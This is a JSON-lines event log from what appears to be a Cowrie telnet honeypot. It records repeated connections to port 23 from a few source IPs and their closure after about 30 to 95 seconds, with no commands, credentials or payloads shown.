{"eventid":"cowrie.session.closed","duration":30.313690423965454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:12.125219Z","src_ip":"173.198.194.106","session":"71067ce65d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f777bb3c096","protocol":"telnet","message":"New connection: 173.198.194.106:45056 (10.17.0.5:23) [session: 2f777bb3c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:13.871385Z"}
{"eventid":"cowrie.session.closed","duration":31.255772590637207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:13.919269Z","src_ip":"173.198.194.106","session":"26f91ef2569f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":46854,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3974915bdda","protocol":"telnet","message":"New connection: 173.198.194.106:46854 (10.17.0.5:23) [session: c3974915bdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:15.976310Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":47092,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0f706c87c0","protocol":"telnet","message":"New connection: 173.198.194.106:47092 (10.17.0.5:23) [session: 2b0f706c87c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:16.273962Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":50156,"dst_ip":"10.17.0.5","dst_port":23,"session":"e584d27a8ca5","protocol":"telnet","message":"New connection: 45.63.42.31:50156 (10.17.0.5:23) [session: e584d27a8ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:17.778153Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":50762,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c1ad3b7abd","protocol":"telnet","message":"New connection: 173.198.194.106:50762 (10.17.0.5:23) [session: a0c1ad3b7abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:20.734312Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51094,"dst_ip":"10.17.0.5","dst_port":23,"session":"b76d2467b043","protocol":"telnet","message":"New connection: 173.198.194.106:51094 (10.17.0.5:23) [session: b76d2467b043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:21.141586Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":49104,"dst_ip":"10.17.0.5","dst_port":23,"session":"629a543f7cff","protocol":"telnet","message":"New connection: 173.198.194.106:49104 (10.17.0.5:23) [session: 629a543f7cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:21.802215Z"}
{"eventid":"cowrie.session.closed","duration":37.02732563018799,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:23.287287Z","src_ip":"45.63.42.31","session":"8ef146865178","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9e4b7bf6e9","protocol":"telnet","message":"New connection: 45.63.42.31:43574 (10.17.0.5:23) [session: de9e4b7bf6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:27.113603Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":57316,"dst_ip":"10.17.0.5","dst_port":23,"session":"a151dc127bee","protocol":"telnet","message":"New connection: 173.198.194.106:57316 (10.17.0.5:23) [session: a151dc127bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:28.133274Z"}
{"eventid":"cowrie.session.closed","duration":31.33331561088562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:28.364059Z","src_ip":"173.198.194.106","session":"d22ee2d9426e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.299912452697754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:29.661502Z","src_ip":"45.63.42.31","session":"71fb837e9a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283045768737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:31.239180Z","src_ip":"173.198.194.106","session":"0a17f863e4de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35168,"dst_ip":"10.17.0.5","dst_port":23,"session":"5449b5902a15","protocol":"telnet","message":"New connection: 164.68.118.26:35168 (10.17.0.5:23) [session: 5449b5902a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:31.859200Z"}
{"eventid":"cowrie.session.closed","duration":31.402923822402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:31.952615Z","src_ip":"173.198.194.106","session":"00cf1a49fd02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.9605393409729,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:32.695333Z","src_ip":"103.115.172.252","session":"04cce7c757d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40174,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc0dd0cb710","protocol":"telnet","message":"New connection: 164.68.118.26:40174 (10.17.0.5:23) [session: 8bc0dd0cb710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:33.411661Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33926,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3866b91bfb9","protocol":"telnet","message":"New connection: 173.198.194.106:33926 (10.17.0.5:23) [session: e3866b91bfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:33.649038Z"}
{"eventid":"cowrie.session.closed","duration":30.491260528564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:34.043730Z","src_ip":"173.198.194.106","session":"d91ac4421d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":33970,"dst_ip":"10.17.0.5","dst_port":23,"session":"081d32fc3e91","protocol":"telnet","message":"New connection: 173.198.194.106:33970 (10.17.0.5:23) [session: 081d32fc3e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:34.679973Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":34116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd84cfe4841","protocol":"telnet","message":"New connection: 173.198.194.106:34116 (10.17.0.5:23) [session: 6cd84cfe4841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:34.833909Z"}
{"eventid":"cowrie.session.closed","duration":30.85472536087036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:36.371208Z","src_ip":"173.198.194.106","session":"5503c0bf43b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740428686141968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:36.598304Z","src_ip":"173.198.194.106","session":"44848ebf49fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":34008,"dst_ip":"10.17.0.5","dst_port":23,"session":"6007c26f4976","protocol":"telnet","message":"New connection: 173.198.194.106:34008 (10.17.0.5:23) [session: 6007c26f4976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:36.721702Z"}
{"eventid":"cowrie.session.closed","duration":34.24039816856384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:37.274016Z","src_ip":"45.63.42.31","session":"4dfc13d3d8f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78504776954651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:39.361710Z","src_ip":"173.198.194.106","session":"421f2e28b59a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":38970,"dst_ip":"10.17.0.5","dst_port":23,"session":"71cd78085bf8","protocol":"telnet","message":"New connection: 173.198.194.106:38970 (10.17.0.5:23) [session: 71cd78085bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:40.112075Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40232,"dst_ip":"10.17.0.5","dst_port":23,"session":"6973b01e45c6","protocol":"telnet","message":"New connection: 173.198.194.106:40232 (10.17.0.5:23) [session: 6973b01e45c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:40.425111Z"}
{"eventid":"cowrie.session.closed","duration":35.377092123031616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:42.471216Z","src_ip":"45.63.42.31","session":"25ad8fe25f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"3134f85a2617","protocol":"telnet","message":"New connection: 173.198.194.106:39996 (10.17.0.5:23) [session: 3134f85a2617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:43.153753Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40782,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e7ca93f597","protocol":"telnet","message":"New connection: 173.198.194.106:40782 (10.17.0.5:23) [session: 87e7ca93f597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:44.085755Z"}
{"eventid":"cowrie.session.closed","duration":30.22069263458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:44.091937Z","src_ip":"173.198.194.106","session":"2f777bb3c096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":41276,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c68585e617","protocol":"telnet","message":"New connection: 173.198.194.106:41276 (10.17.0.5:23) [session: 96c68585e617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:44.537923Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":44392,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5407838de59","protocol":"telnet","message":"New connection: 173.198.194.106:44392 (10.17.0.5:23) [session: e5407838de59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:44.610149Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":45892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a422f9770e43","protocol":"telnet","message":"New connection: 173.198.194.106:45892 (10.17.0.5:23) [session: a422f9770e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:46.140393Z"}
{"eventid":"cowrie.session.closed","duration":30.30503821372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:46.281174Z","src_ip":"173.198.194.106","session":"c3974915bdda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.519206047058105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:47.793079Z","src_ip":"173.198.194.106","session":"2b0f706c87c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904175758361816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:51.638373Z","src_ip":"173.198.194.106","session":"a0c1ad3b7abd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":58936,"dst_ip":"10.17.0.5","dst_port":23,"session":"346fab537c53","protocol":"telnet","message":"New connection: 161.97.181.240:58936 (10.17.0.5:23) [session: 346fab537c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:51.937695Z"}
{"eventid":"cowrie.session.closed","duration":34.31199312210083,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:52.090024Z","src_ip":"45.63.42.31","session":"e584d27a8ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":51504,"dst_ip":"10.17.0.5","dst_port":23,"session":"44104ef0a119","protocol":"telnet","message":"New connection: 173.198.194.106:51504 (10.17.0.5:23) [session: 44104ef0a119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:52.356071Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":50766,"dst_ip":"10.17.0.5","dst_port":23,"session":"a805ddcc6929","protocol":"telnet","message":"New connection: 173.198.194.106:50766 (10.17.0.5:23) [session: a805ddcc6929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:52.489821Z"}
{"eventid":"cowrie.session.closed","duration":30.913269519805908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:52.715361Z","src_ip":"173.198.194.106","session":"629a543f7cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59902572631836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:52.740512Z","src_ip":"173.198.194.106","session":"b76d2467b043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":52774,"dst_ip":"10.17.0.5","dst_port":23,"session":"84f1ada8273d","protocol":"telnet","message":"New connection: 173.198.194.106:52774 (10.17.0.5:23) [session: 84f1ada8273d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:53.845988Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":55164,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfafc6513948","protocol":"telnet","message":"New connection: 173.198.194.106:55164 (10.17.0.5:23) [session: cfafc6513948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:56.390862Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":56422,"dst_ip":"10.17.0.5","dst_port":23,"session":"63f310579496","protocol":"telnet","message":"New connection: 173.198.194.106:56422 (10.17.0.5:23) [session: 63f310579496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:57.750531Z"}
{"eventid":"cowrie.session.closed","duration":31.273504495620728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:02:59.406662Z","src_ip":"173.198.194.106","session":"a151dc127bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.181.240","src_port":42488,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ef9d3d9a14c","protocol":"telnet","message":"New connection: 161.97.181.240:42488 (10.17.0.5:23) [session: 8ef9d3d9a14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:02.818044Z"}
{"eventid":"cowrie.session.closed","duration":31.025742769241333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:02.884837Z","src_ip":"164.68.118.26","session":"5449b5902a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.912447690963745,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:03.025937Z","src_ip":"45.63.42.31","session":"de9e4b7bf6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e12b1d9059","protocol":"telnet","message":"New connection: 45.63.42.31:59090 (10.17.0.5:23) [session: 97e12b1d9059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:03.794603Z"}
{"eventid":"cowrie.session.closed","duration":30.45746350288391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:04.106303Z","src_ip":"173.198.194.106","session":"e3866b91bfb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55071473121643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:04.962284Z","src_ip":"164.68.118.26","session":"8bc0dd0cb710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662086248397827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:05.341857Z","src_ip":"173.198.194.106","session":"081d32fc3e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513381481170654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:05.347148Z","src_ip":"173.198.194.106","session":"6cd84cfe4841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":34634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f7bf525ef1","protocol":"telnet","message":"New connection: 173.198.194.106:34634 (10.17.0.5:23) [session: d9f7bf525ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:06.015713Z"}
{"eventid":"cowrie.session.closed","duration":31.044678449630737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:07.766272Z","src_ip":"173.198.194.106","session":"6007c26f4976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"4842630bc9ff","protocol":"telnet","message":"New connection: 173.198.194.106:38138 (10.17.0.5:23) [session: 4842630bc9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:08.806150Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":38840,"dst_ip":"10.17.0.5","dst_port":23,"session":"22569995c370","protocol":"telnet","message":"New connection: 173.198.194.106:38840 (10.17.0.5:23) [session: 22569995c370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:09.647972Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40122,"dst_ip":"10.17.0.5","dst_port":23,"session":"864420f4c85e","protocol":"telnet","message":"New connection: 173.198.194.106:40122 (10.17.0.5:23) [session: 864420f4c85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:11.092785Z"}
{"eventid":"cowrie.session.closed","duration":31.52852749824524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:11.640502Z","src_ip":"173.198.194.106","session":"71cd78085bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314415454864502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:11.739397Z","src_ip":"173.198.194.106","session":"6973b01e45c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":51132,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a7a1eb8d9a","protocol":"telnet","message":"New connection: 164.68.118.26:51132 (10.17.0.5:23) [session: 68a7a1eb8d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:12.011225Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54666,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcc83884c656","protocol":"telnet","message":"New connection: 164.68.118.26:54666 (10.17.0.5:23) [session: fcc83884c656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:13.180390Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":40978,"dst_ip":"10.17.0.5","dst_port":23,"session":"9746257427cd","protocol":"telnet","message":"New connection: 173.198.194.106:40978 (10.17.0.5:23) [session: 9746257427cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:13.229436Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":41890,"dst_ip":"10.17.0.5","dst_port":23,"session":"d89e38e8e6b6","protocol":"telnet","message":"New connection: 173.198.194.106:41890 (10.17.0.5:23) [session: d89e38e8e6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:13.373854Z"}
{"eventid":"cowrie.session.closed","duration":31.419667959213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:14.573315Z","src_ip":"173.198.194.106","session":"3134f85a2617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44542407989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:15.055455Z","src_ip":"173.198.194.106","session":"e5407838de59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989513635635376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:15.075171Z","src_ip":"173.198.194.106","session":"87e7ca93f597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"b173cf472d73","protocol":"telnet","message":"New connection: 173.198.194.106:41398 (10.17.0.5:23) [session: b173cf472d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:15.721745Z"}
{"eventid":"cowrie.session.closed","duration":31.273669719696045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:15.811483Z","src_ip":"173.198.194.106","session":"96c68585e617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.394839763641357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:17.535124Z","src_ip":"173.198.194.106","session":"a422f9770e43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":36120,"dst_ip":"10.17.0.5","dst_port":23,"session":"00442193cdb9","protocol":"telnet","message":"New connection: 103.115.172.252:36120 (10.17.0.5:23) [session: 00442193cdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:18.965199Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":48188,"dst_ip":"10.17.0.5","dst_port":23,"session":"e507c369bd53","protocol":"telnet","message":"New connection: 173.198.194.106:48188 (10.17.0.5:23) [session: e507c369bd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:21.648094Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":38216,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f65362701fc","protocol":"telnet","message":"New connection: 45.63.42.31:38216 (10.17.0.5:23) [session: 3f65362701fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:21.929826Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"76bbe80f3327","protocol":"telnet","message":"New connection: 173.198.194.106:49528 (10.17.0.5:23) [session: 76bbe80f3327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:22.191241Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.198.194.106","src_port":49764,"dst_ip":"10.17.0.5","dst_port":23,"session":"81d354d91b1c","protocol":"telnet","message":"New connection: 173.198.194.106:49764 (10.17.0.5:23) [session: 81d354d91b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:22.452674Z"}
{"eventid":"cowrie.session.closed","duration":31.20997977256775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:03:23.147554Z","src_ip":"161.97.181.240","session":"346fab537c53","protocol":"telnet"}
